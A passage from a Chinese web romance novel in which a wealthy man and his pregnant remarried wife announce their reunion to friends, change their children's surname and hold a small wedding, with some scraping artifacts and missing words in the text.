赵叙平:“像什么?” 周静烟睁眼,仰脸看着他:“像个盖世英雄!” 赵叙平眼神黯了黯,愧疚说道:“可惜那会儿L你的盖世英雄没来救你。” 周静烟笑着摇摇头,捏捏他的脸:“那会儿L你也还小,怎么救我?你打小就知道心疼我,这就够啦。” 赵叙平用力吻她一下:“不够,我得疼你一辈子。” 手牵手逛超市,周静烟每分每秒都沉浸在幸福中。 超市灯光明亮,零食区各种各样的包装很是诱人,周静烟替孩子们选了许多。这里提供送货□□,公婆家正好在派送范围内,他们只管买,不用考虑拿不拿得了这么多。 挑完零食,周静烟站在一面货架前,久久不动身。 赵叙平揽着她的肩,顺着她目光看去,指了指软糖:“想吃这个?” 周静烟点头,转脸看他,眼里充满渴望:“这个牌子我小时候就有了,继母买给知宇吃过,知宇偷偷分给我吃,我都忘了什么味道,只记得好好吃!” 赵叙平笑着拿出一瓶软糖扔购物车里:“好吃那就买点儿L。” 周静烟叹气,将软糖放回货架。 赵叙平皱眉:“好吃干嘛不吃?” 周静烟低头看着小腹,抬手轻抚,又是一声叹息:“怀孕了不能乱吃零食,对孩子不好……” 这回赵叙平态度强硬,又拿出软糖,往购物车上用力一放:“你想吃,必须买。” 他捧起她的脸,郑重其事开口:“周静烟你记住了,你开心比什么都重要。咱们检查过,你血糖血压都正常,吃点儿L软糖怎么了?别吃太多就成,每天几粒,我帮你控制量,保准没问题。” 周静烟眼眶湿润,吸了吸鼻子,泪珠往下滚落。 赵叙平吓得立马抱住她,又是“心肝儿L”又是“祖宗”哄个不停,她抽泣着解释:“没生气,我就是很、很感动……” “感动啊?那行,哭吧,可劲儿L哭。”赵叙平笑笑。 她还真放开了哭起来,扯着嗓子嚎啕大哭,引得旁人纷纷看过来。 赵叙平有些不好意思,轻抚她后脑勺,又捏一下她耳朵,小声跟她商量:“要不咱还是回去哭吧,你这样,别人还以为我把你怎么着了。” 周静烟哭得止不住,越来越多的人凑过来看热闹。 赵叙平脸上发烫,贴着她耳朵轻声求道:“宝宝,那什么,咱好歹是个首富,虽说平常不爱在媒体上露脸,可也上过新闻,万一被人瞧见,影响多不好啊……没准儿L股票都得跌!” 听到最后一句,周静烟立马止住哭声,抬起头来,睁开眼,才发现四周竟有这么多人围观,脸色爆红,赶紧拽着他离开。 出了超市周静烟才抽抽搭搭数落他:“刚才好多人啊,干嘛不早跟我说!” 赵叙平无奈笑道:“我也没想到大家这么喜欢看热闹。” “怨你怨你都怨你!” “怨我怨我都怨我!祖宗,您扇我一下吧,解解气。” 周静烟扬手就是一巴掌,扇得轻,给他扇笑了,他乐呵呵问:“要不咱再使点儿L力?” 周静烟扭头就走。 他二两步追上:“等会儿L,周静烟,停!鞋带开了!” 等她停下脚步,赵叙平赶紧蹲下给她系鞋带,嘴上絮絮叨叨:“以后我不在身边,自己多注意鞋带开没开,这可不是开玩笑的,你现在不能摔。” 替她系好鞋带,赵叙平想起车还在地下车库,牵着她回去坐电梯。 电梯里只有他们俩,赵叙平飞快亲她一口,她摸摸脸,指着监控蹙眉瞪他:“也不怕人看见!” 他咧嘴笑出俩酒窝:“看见就看见呗,咱俩长得又不磕碜,权当给人演偶像剧了。” 走到车前,他替她拉开车门:“祖宗请上车。” 司机家里有事儿L,临时请假回去了,赵叙平自己开车,在前面问:“祖宗,您对我这服务还满意么?” 周静烟故意冷声答道:“不满意,都害我哭了。” 车开出车库,过了会儿L停在路口等红灯,他转过头来,一脸阳光灿烂:“我觉着您特满意,自个儿L男人这么帅,还这么爱你,换我我也哭。” 周静烟笑着打他一下:“专心开你的车!” 要不是必须回公司开会,赵叙平一秒钟也不想离开周静烟。 这天早上在家腻乎到最后时刻他才走,早饭都没来得及吃。 开完会回到办公室,他打开助理送来的饭盒,正吃着,手机震了震,赶紧放下筷子看消息。 见梁卓发来微信,赵叙平难免失望——还以为周静烟找他呢。 梁卓约他喝酒,他给拒了,梁卓也没强求。 过一会儿L他忽然想,这阵子带着孩子到处跑,早被熟人瞧见了,他不主动说,人家也没多问,不过他跟周静烟旧情复燃的消息倒是传开了。 既然梁卓组局,不如趁这个机会跟大家说清楚,省得以后传出些离谱的风言风语,赵叙平这么想着,告诉梁卓自己决定要去。 回完梁卓消息,他主动联系周静烟,问她今天身子舒服吗,有没有想吐。 半个小时后周静烟才回:【刚醒,感觉还行】 赵叙平正要打字,忽然来了电话,秘书请示一个问题,他授意后,立马挂断,赶紧给周静烟打过去。 “干嘛?”周静烟拖着声儿L懒洋洋问。 他笑了笑,柔声开口:“刚才接电话去了,没有秒回,特意打电话来解释。” 周静烟噗嗤一笑:“用不着这么紧张。” 赵叙平靠在椅背上,心里轻松许多,听见她声音就高兴。 “天大地大媳妇儿L最大,跟媳妇儿L有关的事情,必须紧张。” “知道啦,没有怪你,以后有事儿L要忙就先忙去,别管我,我可不想耽误你工作。” “感谢媳妇儿L体谅。对了,下午得跟您请个假。” “有应酬?” “不是,梁卓组局喝酒,我得去一趟。” “去可以,不过不许喝多,醉了回来跟你没完!” “知道,我心里有数。本来不想去的,又觉着咱俩都复婚了,该跟大家说一声,现在外头已经在传咱俩的事儿L了。” “你打算怎么说?” “实话实说呗——‘你们嫂子大人有大量,不计前嫌,原谅我这个狗东西,我俩现在重新开始甜蜜生活,共同抚养孩子。’” 周静烟听完咯咯直乐,笑着凶道:“敢这么说你就死定了!我丢不起这个人!” 赵叙平本就是逗她,见她笑了,心情越发好:“那我今天就小酌几杯,跟大家简单说明一下情况。” 得到周静烟允许,正准备挂,又想起什么,赶忙问:“二胎那事儿L要说么?” 周静烟犹豫片刻,决定保密:“先别往外传,等孕期满二个月,情况稳定了再说吧。” 赵叙平应下:“行,媳妇儿L说得对,媳妇儿L有先见之明。” 这两天周静烟真是被他这些甜蜜轰炸给腻到了,笑着嫌弃:“赵总能不能正常点儿L!” 赵叙平乐得摇头晃脑:“正常不了,赵总有了媳妇儿L就飘了,找不着北,成天咧着嘴傻乐。” 周静烟懒得听他贫,没接茬便挂断电话。 他捧着手机,嘴仍合不拢,又在微信上给她发一句:【谢谢你愿意给我一个家。】 过会儿L周静烟回:【别来这套,说得自己跟个孤儿L似的……】 赵叙平:【没有你那些日子,我真觉得自己一个人孤零零的】 周静烟:【现在多了二个人要哄,未来还有一个等着你哄,以后日子可充实了呢】 赵叙平:【乐在其中~】 周静*烟:【???赵总这么高冷一人,居然会发波波浪号?!】 赵叙平:【咱现在也是沉浸在爱情里的小青年~】 周静烟:【醒醒,赵叙平,醒醒!】 赵叙平:【活了小半生才发现,原来幸福这么简单——小时候想拥有的人,长大了,真的拥有了。】 对于突如其来的煽情,周静烟没有任何回复。 他又发去一条:【失而复得的感觉真好。】 十分钟后,周静烟终于回了:【破镜重圆,还能像从前那样么?】 赵叙平:【不会。】 周静烟:【……】 赵叙平:【镜子已经不是从前那面镜子,因为我比从前更爱你,新镜子,照的是我们更好的明天。】 又没等到她回复,赵叙平心里忐忑不安,最后还是打了个电话过去。 “不相信我能让明天更幸福,是么?”他喉咙发堵,哑着嗓子问。 那头传来哭声。 赵叙平恍然大悟,松一口气,扬唇笑着问:“小哭包又感动哭了?” “赵叙平,你以前上学,作文是不是经常考满分?”周静烟吸吸鼻子,问。 “那倒没有,经常差个两二分满分,主要是书写问题,有些老师看不明白我那草书字体,非要给我扣点儿L。” “好喜欢你对破镜重圆的独特见解……” “乖,碎了的镜子,咱就不要了,咱们用新的。” “嗯……” “不许哭了。” “呜呜呜……” “听话,笑一个。” “呜呜呜……” “唉。”赵叙平无奈靠向椅背,仰脸叹息,“别这样宝宝,你一哭,我就恨不得长翅膀飞回去,抱着你哄。” “没事儿L,不、不用管我……下午少、少喝点儿L酒,我、我哭一会儿L就好了!”她抽噎着说。 赵叙平心疼得厉害,又叹一口气:“要不我下午不去了,跟他们说改明天。” 周静烟赶紧阻拦:“别别别,不许爽约,而且你说得对,咱们这事儿L越早跟大家说清楚越好,要不我总觉得咱俩来来回回的,结了离离了结,跟光屁股拉磨似的,转着圈儿L丢人!” 赵叙平乐得仰头大笑:“都说近朱者赤近墨者黑,跟我在一块儿L久了,宝宝说话也糙了。” 周静烟低呼:“都!怨!你!” 不用看赵叙平也知道,他媳妇儿L此刻脸肯定红得不像话。 那头已经挂断,他捧着手机舍不得放,傻笑了一阵才拿起筷子继续吃饭。 饭菜已经凉了,赵叙平随便吃几口就开始工作。 梁卓定的饭店离公司不远,赵叙平下班立马往那赶,进包厢时还算到得早的。 他到了好一会儿L,江东铭才到,在他身旁坐下,抱怨几句带孩子累,赵叙平嘴上接茬,心里代入自己,心想:可不嘛,天底下最磨人的,当属四脚吞金兽。 江东铭又唠了几句别的,忽然话锋一转:“听说你挨完周静烟巴掌还低二下四给她系鞋带,服了,搁这写言情小说呐!” 最近关于他和周静烟的风言风语圈里都传开了,江东铭不信,毕竟他没亲口跟自己说这事儿L。 江东铭还问过沈琳,沈琳也说不知道,江东铭就没当真。 赵叙平瞧着江东铭,见他这副表情,立马明白这人早想问了,前面那些话都是铺垫,重头戏在这儿L呢。 赵叙平干咳一声,目光低垂。 江东铭耳朵凑过来:“偷摸跟哥们儿L说,哥们儿L嘴严。” 赵叙平暗暗踹他:“怎么不把这张破嘴给缝上?” 江东铭飞快摇头:“那不行,缝上了,沈琳还怎么亲?” 赵叙平笑着骂了声“艹”,没再搭理他。 人到齐后大家动筷子夹菜,边吃边喝,酒过二巡,赵叙平忽然用杯底碰了碰桌,然后端起杯子,正色道:“我跟你们嫂子的事儿L,想必大家最近都听说了。嫂子还是你们嫂子,我俩复婚了。” 简单两句说完,赵叙平仰头喝干杯里的酒。 起初大家没敢吱声,眼神交汇,每张脸上都憋着笑,梁卓带头问:“平哥,孩子那事儿L——” 赵叙平点头打断:“也是真的。” 大家这才敢大着胆子八卦,争先恐后问起来。 “嫂子真给你生了俩孩子啊?” 赵叙平:“什么叫给我生的?孩子也是她的,她是为自己生的。” “平哥,你最近才发现自个儿L有俩孩子啊?” 赵叙平:“嗯,要不怎么说你嫂子厉害呢,瞒得紧啊。” “嫂子没扇你吧?” 赵叙平:“那没有,你嫂子还是挺怕我的,在家我说了算。” “真的?瞧着嫂子那样儿L,不像是怕你啊!” 赵叙平:“怎么不怕,在我跟前跟兔子似的,都不敢大声说话。” 旁人没忍住,纷纷笑出声来。 赵叙平见大家这表情不太对劲,皱了皱眉,眼前忽然多了一个手机——梁卓递来的。 手机屏幕上,正播放着一段视频:周静烟在超市门口扇他脸,他挨完巴掌说了句什么,周静烟转身就走,他又巴巴地跟过去,蹲下给人系鞋带…… 皱眉看完这段短短十几秒的视频,赵叙平深吸一口气,抬头对上梁卓眼睛:“你丫录的?” 梁卓忙不迭摇头:“不是不是!别人传的!” 赵叙平面子有些挂不住,也不想深究录视频这人到底是谁,侧头沉默片刻,憋出一句:“你嫂子这阵吧,不知道怎么回事儿L,脾气挺暴的,我呢,想着老爷们儿L得让着女人,也就没跟她计较。” 大家一个劲点头,努力憋着笑应和道:“是,是,平哥大度,咱们都知道。” 江东铭从梁卓手上抢过手机,点开视频看完,愣了片刻,扯着嗓子喊:“哎哟我去,艺术源于生活啊!” 赵叙平烦死他这张破嘴,眉心紧锁:“你特么平时瞧着挺稳重,能不能别一惊一乍的?” 江东铭看看他,又看看视频,最后抬眼盯着他,摇头感慨:“赵叙平,你跟周静烟到底是几世孽缘啊,上辈子欠她多少,这辈子卑微成这样?” 平时在周静烟跟前,赵叙平没脸没皮,在外头可是很看重脸面,听到这话,立马冷着脸怼回去:“老子卑微?老子给她系个鞋带就卑微,那你在公园给沈琳捏脚算什么?舔狗日常是吧?” 江东铭刚才挨他一脚,这会儿L逮着机会踹回去:“你特么能不能别什么事儿L都往外说!我那是——那是蓄意报复,她说她走累了,我说给她捏捏脚,打着捏脚的幌子,狠狠使劲儿L,疼得她嗷嗷叫。” 旁人哄堂大笑。 江东铭这人,乍一看,纯纯斯文败类,实则就是个妻管严。不过大家都知道沈琳厉害,天不怕地不怕,性子直爽又泼辣,只有沈琳才管得住他。 大家说说笑笑,吃吃喝喝,开开心心,散席后,赵叙平上车就给周静烟打电话,汇报今晚情况,喝了几杯酒都跟她说清楚。 回家第一件事是刷牙洗澡,赵叙平确保自己身上没了酒味才敢靠近媳妇儿L。 周静烟嗅了嗅,笑着夸道:“赵总洗得香喷喷呀!” 赵叙平亲一下她:“怕你闻到酒味孕吐。” 周静烟好奇:“你跟大家说完咱俩的事儿L,大家什么反应?” 赵叙平默默叹气,暗自后悔,当时就不该装那个逼,刚装完就被钢铁般的证据打脸,真是丢人丢大了。 “还能什么反应,祝福咱俩呗,顺便对我的追妻能力表达了极大肯定。”这人大言不惭说道。 周静烟握住他的手,将他手掌放在自己肚子上:“你得谢谢人家,要不是因为这个小家伙,我才懒得理你呢。” 赵叙平俯身亲亲她肚子,笑着开口:“赵老二,爹谢谢你啊,得亏有你,你妈才乐意搭理我。” 周静烟气得捶他:“什么赵老二,难听死了!再让我听到你叫这个,以后真不理你了!” 赵叙平赶紧哄道:“行行行,以后不叫了。媳妇儿L,我想跟你商量个事儿L。” “说。” “我想给听雨改个姓,改成赵听雨。云生跟你姓,听雨跟我姓,成么?” 周静烟有些不高兴,想了想,又觉得俩孩子一边姓一个,也挺公平。 赵叙平怕她不答应,摸摸她肚子:“里边儿L这个甭管丫头小子,都跟你姓。” 周静烟沉默半晌,摇了摇头:“算了,二个孩子都姓赵吧。” 赵叙平愣住,目光不解:“为什么?” 周静烟别过脸,声音微微发颤:“周家欠赵家一条人命——” 她顿了片刻,轻声叹息:“不,是两条。” 赵叙平抱住她:“没必要这样,我爸妈都已经——” “有必要,”周静烟眼里涌出泪水,“爸妈不跟我计较,我也没办法不愧疚……这事儿L别跟我争了,只要你们对我好,对孩子好,孩子们怎么不能姓赵?” 许久,赵叙平终于点头。 他亲了亲她的手,说:“这事儿L我答应你,另一件事儿L你得答应我。” “什么事儿L?你先说。” 赵叙平松开怀抱,转身走到床头柜边,从抽屉里拿出厚厚一沓现金。 “这是给的改口红包。”他把钱放柜子上,笑呵呵说道。 周静烟呆住,看着他发愣,蹙眉惊呼:“你怎么这样啊!自己赚这么多钱,还好意思拿爸妈给的红包!” “他们要是给我,我还真不会要。人家给的是你,而且是改口费,那就必须要。”他把钱全塞周静烟怀里,“我想用这些钱买喜糖,伴手礼,就买我送过你的那几种巧克力。” “喜糖?”周静烟眨眨眼,“你要办婚礼?” 赵叙平也眨眨眼:“咱俩头一回跟大家公开,请大家吃饭那次,你跟我说,感觉大家好像在吃咱俩的喜酒,你很高兴。临走前江东铭也说我像个新郎官儿L似的。” 他陷入沉默,将她拥入怀中。 “赵叙平,你是不是一直觉得自己欠我一个婚礼?”周静烟流着泪问。 “是。”他漂亮的眼眸也涌出泪水,捧起她的脸,笑着点头,“我想堂堂正正当回新郎官儿L。” 第65章 第65章【VIP】 多年以前,赵叙平幻想过自己当新郎官儿的模样。 他不是个爱幻想的人,那场景自然而然在脑子里冒出,自己都吓一跳。 那是二十五岁的一天。 他在初秋某个清晨醒来,照常点上一根线香。 香炉是江东铭送的,江东铭说他性子躁,平时点点香,陶冶一下情操。赵叙平问,你平时点不点啊,江东铭说不点,赵叙平问,你不陶冶情操啊,江东铭说我没有情操,对了,道德也没有。赵叙平笑着踹他一脚,乐呵呵收下这个礼物。 通常赵叙平点了香就去干别的事儿,但那天醒来,点完香,他盯着香看了许久。 起先是被青烟吸引目光,看着那缕青烟在香炉上盘旋,忽然想起那句词——“炉香静逐游丝转”,然后就想起周静烟。 再然后发现,周静烟这姑娘,仿佛一缕青烟,在他眼里脑里心里,在他绝大多数生命时光里,转了好些年。 很多时候他以为自己正专注做事,其实那缕青烟始终围绕着他。 那天早上,赵叙平伸手触碰青烟,一碰,烟便散了。 他握不住青烟,也握不住她。 他又想起那晚柴房里的吻。生涩的两个人,甘甜的初吻。 她像飘来柴房的青烟,缠绕着他,此后越发频繁地出现——清醒时,在他心里绕啊绕;沉睡时,在他梦里飘啊飘。 赵叙平在那个清晨盯着香炉看了又看,一支香燃尽,又点一支。看着看着,脑海里忽然冒出结婚的场景。 自己穿上喜服,周静烟一身红装——这个画面让他心悸,迅速从幻想中抽离。 多年以后,幻想终于不仅仅是幻想,他终于要成为新郎。 孩子三岁生日这天,周静烟请了全班同学来家里给姐弟俩庆生。公婆家一楼大厅足够宽敞,布置成温馨的生日会客厅,十二个同学,四位老师,陪伴姐弟俩度过了快乐的两个小时。 赵叙平没请自己朋友来,周静烟交代过,不让他跟朋友说,省得人家给红包。 江东铭从沈琳那听到消息,夫妇俩还是给孩子封了大红包,周静烟不肯要,沈琳好说歹说,到底让她收下了。 送走老师同学,姐弟俩顶着小花脸跑到父母身边,将脸上的奶油往父母身上蹭,赵叙平把儿子从妻子身旁拽回来:“不许弄脏妈妈衣服。” “我跟妈妈闹着玩儿!” “闹着玩儿也不行。” “哼!就知道护着你老婆!” 这话惹得大人们发笑。俩孩子洗完澡,干干净净出来,周静烟把他俩都叫到客厅,也叫来了公公婆婆。 “听雨,云生,爸爸妈妈决定给你俩改姓,以后你们就叫赵听雨,赵云生。” 周静烟说完这话,除了赵叙平以外,大家都愣住了。 女儿不懂缘由:“为什么呀?我一直叫周听雨,干嘛改呢?” 儿子满脸不乐意:“我才不要姓赵呢!爸爸好凶!不要跟他一个姓!难听!” 婆婆看看她又看看赵叙平:“叙平的主意是吗?” 公公冲她摇了摇头:“其实给一个孩子改姓就成。” 周静烟看着公婆开口:“他们都是我的孩子,你们对我和孩子都很好,所以姓什么,我也不计较。” 当着孩子的面,她没把更深一层原因说出来。 等孩子们睡下,赵叙平才单独把那个原因告诉父母。 赵叙平回房间时,周静烟已经躺下,却没睡着,扭头看向他,问:“说了?” 赵叙平点头。 周静烟:“爸妈怎么说?” 赵叙平来到床前,亲亲她额头,坏笑:“不告诉你。” 洗完澡上床,他抱着她,耐不住她撒娇,到底还是说了。 “爸妈听我说完,挺久没吱声,后来咱妈说,伊伊去世这么久,你还惦记着伊伊,还想着弥补,你有这份心,她很感动。 “咱爸说,他骨子里是个老传统,本来就想跟你提,给一个孩子改姓赵,随便哪个都行,看你意思,没想到你愿意让三个孩子都姓赵,他很开心。” 周静烟在他怀里长舒一口气。 “日子好快啊,”她的脸蹭了蹭他胸膛,“孩子们都三岁了。” 赵叙平笑着问:“他俩刚出生那会儿,你想过会有今天么?” “当然没有。那会儿我想着,咱俩这辈子都见不到了。我这辈子,也算是解脱了。” 赵叙平听得心疼,托起她脸庞,看着这双雾蒙蒙的杏眼。 “周静烟,你以前的痛苦,我都,可也还是看见了。从今往后,我不 他饱含爱意亲吻她额头,在她耳边轻轻说:“咱俩好好过。” 咱俩好好过。以前,这是一句哀求;现在,这是一句承诺。 孩子们改姓成功那天,赵叙平将他俩抱到腿上,语重心长对两个小着我姓赵,不过在咱家,最重要的, 闺女眨了眨葡萄似的大眼睛:“明白啦,赵听雨永远爱妈妈。” 赵云生……我觉着不好听。” 周静烟坐在一旁,捏捏儿子的脸,笑道:” 儿子更听她的话,冲她点点头。 她握住姐弟俩的手,给赵叙平使了个眼色,赵叙平意会,用自己的大手包住他们娘仨的手。 “一家人,要团结,要相亲相爱。”周静烟笑着告诉孩子们。 孩子们奶声奶气跟着说:“一家人,要团结,要相亲相爱!” 十月,赵叙平为周静烟办了一场中式婚礼。 应周静烟的要求,婚礼既不盛大也不隆重,只邀请了熟识的亲朋好友。 婚礼一切从简,却温馨得出人意料。 周静烟没有哭,赵叙平倒是哭得一塌糊涂。 他在台上哭,她和台下的人一起笑。 等到婚礼结束,晚上回房,赵叙平眼眶依然泛红,委屈巴巴,跟条狗似的,问她:“我都哭成那样了,你还笑,有没有良心?” 周静烟笑得更欢,捧着他脸颊,揉一揉,捏一捏,说:“结婚嘛,多大的喜事儿呀,我哭不出来。” 赵叙平湿了眼:“我今天这是怎么了,老想哭,还憋不住。” 一想到自己的硬汉人设在今天全面崩塌,他觉得有些丢人,不过好歹是因为娶媳妇儿哭,丢人就丢人吧,至少完成了自己和媳妇儿曾经梦寐以求的心愿。 周静烟默默看着他,好一会儿才开口:“以前我为你流过不知道多少泪,今天算是你还我的。” 他握住她手腕,唇角微扬:“其实咱俩离婚后,我也没少哭。” 周静烟在他额头印下一个吻。 “以后咱俩都不哭。” 他摇摇头:“那不行,想哭还是得哭,排排毒也好。” 周静烟笑着靠回他怀里,握着他的手,说:“今天你朋友祝咱俩百年好合,赵叙平,真要是能跟我过一百年,你腻不腻?” “跟你过一万年都不腻。” “我腻。”周静烟使坏逗他。 他不伤心,厚着脸皮亲吻她耳朵,眉眼含笑:“那我也缠着你,我缠你一辈子,缠你生生世世。” 周静烟笑着瞧他,他也笑着,头埋进她散发着清甜香气的颈窝。 “周静烟,你注定是我的,跑不掉的。” 她噘了噘嘴,佯装不高兴:“都快生第三个宝宝了,我跑哪儿去?再跑我也嫌累,不如安心在家当少奶奶。” 赵叙平乐得点点她鼻尖:“这就对了,思想觉悟提升了啊。” 周静烟歪起脑袋,叹息:“分明是堕落了!” 赵叙平被她逗笑,瞧她一会儿,忍不住又亲一口:“那也是你有福气,多少人想堕落还没资本呢。” 他今晚喝了不少酒,拥着周静烟,没多久便睡着。 黑暗中,周静烟坐起来,靠在床头捧着手机,给弟弟周知宇发去一条消息。 【我和叙平办婚礼了。】 她又发去一段婚礼视频。 很快,周知宇打来电话。 她悄声起床,走到卫生间,关好门才接通。 “姐,恭喜你和姐夫。”那头,周知宇哑着嗓子祝福。 周静烟哽咽:“在广城过得还好吗?” 弟弟出狱那天,周静烟去接他,给他在老城区找了间宾馆。周知宇在宾馆住了一周,离开京州南下之前,去墓地看过一次赵庭伊。 “挺好的,别担心。” “钱还够吗?” “够。你过好自己日子就成,我都这么大了,不用为我操心。” 周知宇最铁的哥们儿在广城结了婚,开了一家修车厂,他去那儿给哥们儿干活,工资虽然没多高,好在包吃包住,就这么独自一人过着,倒也不错。 “知宇,我——”周静烟顿了顿,犹豫片刻,还是说了,“我又怀孕了。” 那头也顿了顿,沉默一会儿,问:“姐,你想生吗?” 周静烟:“想。” 周知宇笑笑:“真好,我又要当舅舅了。” 听雨和云生不知道他的存在,周静烟却没少给他发两个孩子的照片。 “我决定让三个孩子都姓赵,毕竟咱家欠赵家两条人命……”她哽咽道,声音越发的小。 周知宇沉默许久。 “知宇?”她不确定那头是否还在听。 “姐,我在。”周知宇终于开口,“姐,我昨晚梦见伊伊了。她说她在那边过得很好。姐,我特后悔……当初我就不该——不该……” 周知宇泣不成声。 周静烟抹了抹泪,劝道:“知宇,向前看。伊伊肯定不希望你沉浸在痛苦和后悔中。” “姐,我想伊伊。” “我知道。” “姐,我对不起她。她有很多梦想,可她那么年轻就被我害死了……” “那就打起精神来,替她完成梦想。” “她有个梦想是去爬珠峰,姐,我现在在攒钱,等攒够了,我就去爬,我要带着她的照片上珠峰,让她看看那里什么样儿。” “好,加油攒钱,早点带伊伊去看珠峰。” 打完这通电话,周静烟在卫生间里哭了很久很久。 第二天清早,赵叙平醒来,见她平躺着,双眼半睁,轻轻抱住她。 “醒这么早?” 周静烟转过脸,看着他愣了片刻,摸摸他眼眶:“眼睛都肿了。” 他看着她,皱眉:“你也是。昨晚趁我睡着,偷偷哭是吧?” 她将脸埋进他胸膛。 “昨晚我跟知宇打电话了。”纠结许久,周静烟还是选择告诉他这事。 他反应平淡:“哦。” 周静烟:“知宇在南方给朋友打工,过得还行。” 赵叙平:“嗯。” 周静烟:“他说他在攒钱,等攒够了,就带着伊伊的照片爬珠峰,因为上珠峰是伊伊的梦想。” 赵叙平心里怨起妹妹:臭丫头,不早跟哥哥说。 “叙平,你还恨知宇吗?”周静烟问。 赵叙平想了想,摇头:“不知道,虽然他是你弟弟,虽然我爱你,可我还是没法平静面对他。但要说这种感觉是恨吧,又好像不是。我已经过了痛恨他那个阶段了。” 周静烟在他怀里落泪。 泪水濡湿他衣衫,他捧起这张梨花带雨的面庞,亲亲脸上泪痕,笑起来:“以后不许再说这个,你得开开心心的。” 她点点头,仍是哭。 他心里也难受得紧,喉咙发堵,讲不出话来哄,只能抱着她,轻拍后背安抚。 肚里的宝宝体谅周静烟,孕早期没让她受罪。她和赵叙平搬到公婆这住,每天被婆婆和保姆伺候着,百无聊赖,又开始做针织,还教起了婆婆。 章芝纭年轻时学过这个,因为性子急,从没耐心织完一样东西,现在年纪大了,倒是能静下心来好好织。 气温一天天降低,十二月初,赵叙平出差回来,进家后不肯脱外套,家里有地暖,章芝纭问他:“不热啊?” 他摇摇头,问:“我媳妇儿呢?” 章芝纭笑起来:“回家第一件事就是找媳妇儿,没出息的东西!你媳妇儿在房间呢,给你织毛衣。我还劝她来着,说织这么多,也不见你穿,她听不进去,成天乐乐呵呵给你织。” 赵叙平扬起唇角,疾步回屋,进门一看,周静烟果然在织毛衣。 “回来啦?”她抬头瞧他一眼,立马低头继续织。 赵叙平走过去,停在她跟前。 过了会儿她才掀起眼皮,蹙眉:“傻站着干嘛。” 赵叙平忽地拉下外套拉链。 “你给我织的这件毛衣,穿着真暖和。” 周静烟目光落到他身上,看着这件灰色毛衣,噗嗤笑出声。 “热不热呀?快脱了吧!”她放下毛线,抬手摸了摸他身上那件。 赵叙平握住她的手,俯身狠狠亲她一口。 “热也要穿,这可是媳妇儿给织的。” 第66章 第66章【VIP】 以前给他织的毛衣、围巾,从不见他穿戴,为这事儿周静烟伤心透了,现在看他穿上毛衣,高兴归高兴,又想报复一下。 她倏地冷脸,抓着毛衣衣摆,没好气:“不是不爱穿么?赶紧脱下来,别穿我织的,最好碰都别碰!” 赵叙平知道她在闹什么,脸颊蹭蹭她的脸:“乖,我去洗个澡,回来哄你。” 舟车劳顿,赵叙平途中一直戴着口罩,就怕被人传染感冒,再传染给她,回家也得等洗完澡才敢抱她。 洗得干干净净,他忙着去哄人,头发只吹到半干,疾步走到沙发边,从她手里抽出织针和毛线,在她身旁坐下,刚搂上就开始亲,她扭头躲来躲去,被他扳过脸,捏着下巴,亲了好久好久。 等他终于松手,唇也松开,周静烟眼里起了雾,含羞带怨瞧他:“就这么哄我呀?” 赵叙平薄唇移到她耳边,吻了吻耳廓,柔声说:“你走以后,有回我醉醺醺回来,嚷嚷着找毛衣,把你给我织的毛衣穿身上,半夜热醒。” 周静烟噗嗤一笑:“真的?” 赵叙平:“骗你干嘛?不信问咱妈,这事儿她知道。” 周静烟搂着他脖子:“我给你织的东西,以后都要穿哦。” 他神情认真,点点头:“毛衣我穿,围巾我戴,只要是媳妇儿给我的,我都会好好珍惜。” 周静烟亲他一口:“乖,奖励一下。” 他笑出酒窝,嘴上不满:“这算什么奖励啊?” 周静烟与他隔开点距离,蹙眉上下打量他:“这都不算奖励,还想要什么呀!” 话音刚落,她被他打横抱起。 “赶紧的吧,可想死我了。”这人猴急猴急的,放她在床便开始扒衣服。 出差前就过了危险期,来过几回,他怕伤着她,一直收着劲儿,自然没有以往痛快,不过总比头两个月强,至少终于能碰了。 周静烟手抵在他胸膛,咬着唇摇摇头。 “不行?之前都行,怎么今天不行?”他憋得难耐,紧锁着眉心问。 周静烟娇声开口:“行倒是行,我就怕你——” “疯起来收不住?” “嗯……” “放心,我还能不顾你跟孩子死活?” “前两天妈特意跟我说呢,让我别由着你胡来,现在就算能做,也得小心。” “知道,哎——她怎么老跟你说这些!实在不行找个老年大学上上吧,不然成天管着儿子儿媳床上那点事儿。” “妈也是担心我嘛,干嘛这么说她!” “得得得,你俩情比金坚,我是外人。乖,别动,老公亲一口。” 收着劲儿折腾完,赵叙平看着怀里的人俏脸红扑扑,想起她以前,十几岁那会儿,瘦成豆芽菜,那会儿谁也想不到,有一天,这个让人心疼的姑娘,会成为他的妻。 “周静烟。”他唇角带着笑意,在她耳边低语。 她绵软乏力,懒懒地赖在他胸膛。 “你最近好像胖了点儿。”他说。 周静烟忽然仰脸,语气紧张:“嫌我丑?” 他笑笑,轻捏她脸颊:“我喜欢你胖点儿,特有韵味。” 周静烟指尖戳戳他的肩:“真搞不懂你的审美,我还是觉得瘦好看,苗条。不过像我以前那样也不好看,太瘦了。” 赵叙平握住她手指,温柔捏了捏:“我刚才想起你以前那样儿,心里特难受,不过想着你现在被我和爸妈养得白白胖胖,高兴多了。” 周静烟猛地抬头:“哪有白白胖胖!只不过比以前胖了一点!一点点!” 他忙不迭附和:“一点点一点点,我措辞有问题,该打。”说完用她的手往自己脸上扇一下。 周静烟笑着抽回手,娇嗔:“烦人!” “对,我最招人烦了,哪像咱家烟烟,多招人稀罕。” “赵叙平,你喜欢我什么呀?” 他仰头望向天花板,想了片刻,说:“你吧,虽然有时候一了吧唧——” 周静烟扬手。 这人话锋一转:“但是!但是,这就叫大智若愚。” 周静烟放下手。 他乐得在她脸上啃一口:“宝宝,你现在很是恃宠而骄啊。” 她掀起眼皮睨他:“还不都是你惯的。” 赵叙平跟她咬耳朵:“就乐意惯着我媳妇儿。” 默默抱了一会儿,赵叙平想起一件事,问:“上回请你帮两个忙,一个帮完了,还有一个,咱们找时间把那事儿办了去。” 周静烟记起来:“陪你招待张哥一家,还得吧?” 赵叙平:“是,咱们带着孩子一块儿去。” 周静烟担心穿帮:“万一我演不好怎么办?” 赵叙平:,她儿子儿媳,孙子孙女,叫什么名儿,多大年纪,资料上都有, 俩孩子去?” 赵叙平:“煽情嘛,我想着一次性煽到识到了,正好咱家一儿一女,给老太太当孙子孙女,到时候让他俩撒撒娇,” 周静烟一想,确实是这么个道理。 她点点头,笑道:“那可得让听雨和云生记牢,千万别说错话,露馅儿就麻烦了。” 赵叙平屈指轻叩她脑门儿:“放心,姐弟俩机灵着呢。” 周静烟猫似的在他怀里蹭了蹭,幸福地舒一口气:“得亏他俩智商随你,要是随我,不敢想……” 